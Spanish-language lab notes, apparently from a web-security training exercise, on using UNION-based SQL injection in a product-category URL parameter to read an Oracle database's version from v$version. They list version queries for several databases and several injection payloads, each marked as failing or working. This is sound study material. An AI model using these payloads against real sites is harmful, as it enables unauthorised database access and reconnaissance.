🏞️Laboratorio: ataque de inyección SQL, consulta del tipo y versión de la base de datos en Oracle

Lo que haremos será dentro de la url que filtramos la categoria de un producto haremos la inyección SQL.

En este caso ya hay un error grave, la pagina muestra informacion de la BD que no deberia mostrar por ningun motivo, ya sabemos que la BD es oracle en su version 11.2.0.2.0 de 64 bits.

Con base en ello, tomaré en cuenta la tabla que tenía anteriormente en los apuntes generales de SQLi:

Tipo de base de datos	Consulta
Microsoft, MySQL	SELECT @@version
Oráculo	SELECT * FROM v$version
PostgreSQL	SELECT version()

' UNION SELECT v$version FROM dual--
'+UNION+SELECT+'abc','def'+FROM+dual--

SELECT * FROM v$version

Ahi ya hicimos fue obtener los datos de la columna para poder extender la consulta.

'+UNION+SELECT+BANNER,NULL+FROM+information_schema.tables-- #no sirve
'UNION+SELECT+'',NULL+FROM+v$version-- #muestra en la pagina la misma consulta
'UNION+SELECT+BANNER,NULL+FROM+v$version-- #FUNCIONÓ

En este caso si funciono el 3er comando, ahora bien analicemoslo, BANNER se añade como parametros debido a que es un atributo propio de la tabla v$version mientras que NULL lo añadimos como segundo parametros para que la consulta mantenga la misma estructura que la consulta original ya que como sabemos NULL es compatible con cualquier tipo de dato por lo que no habrá problema en sintaxis.

Informacion sobre BANNER desde la pagina oficial de Oracle →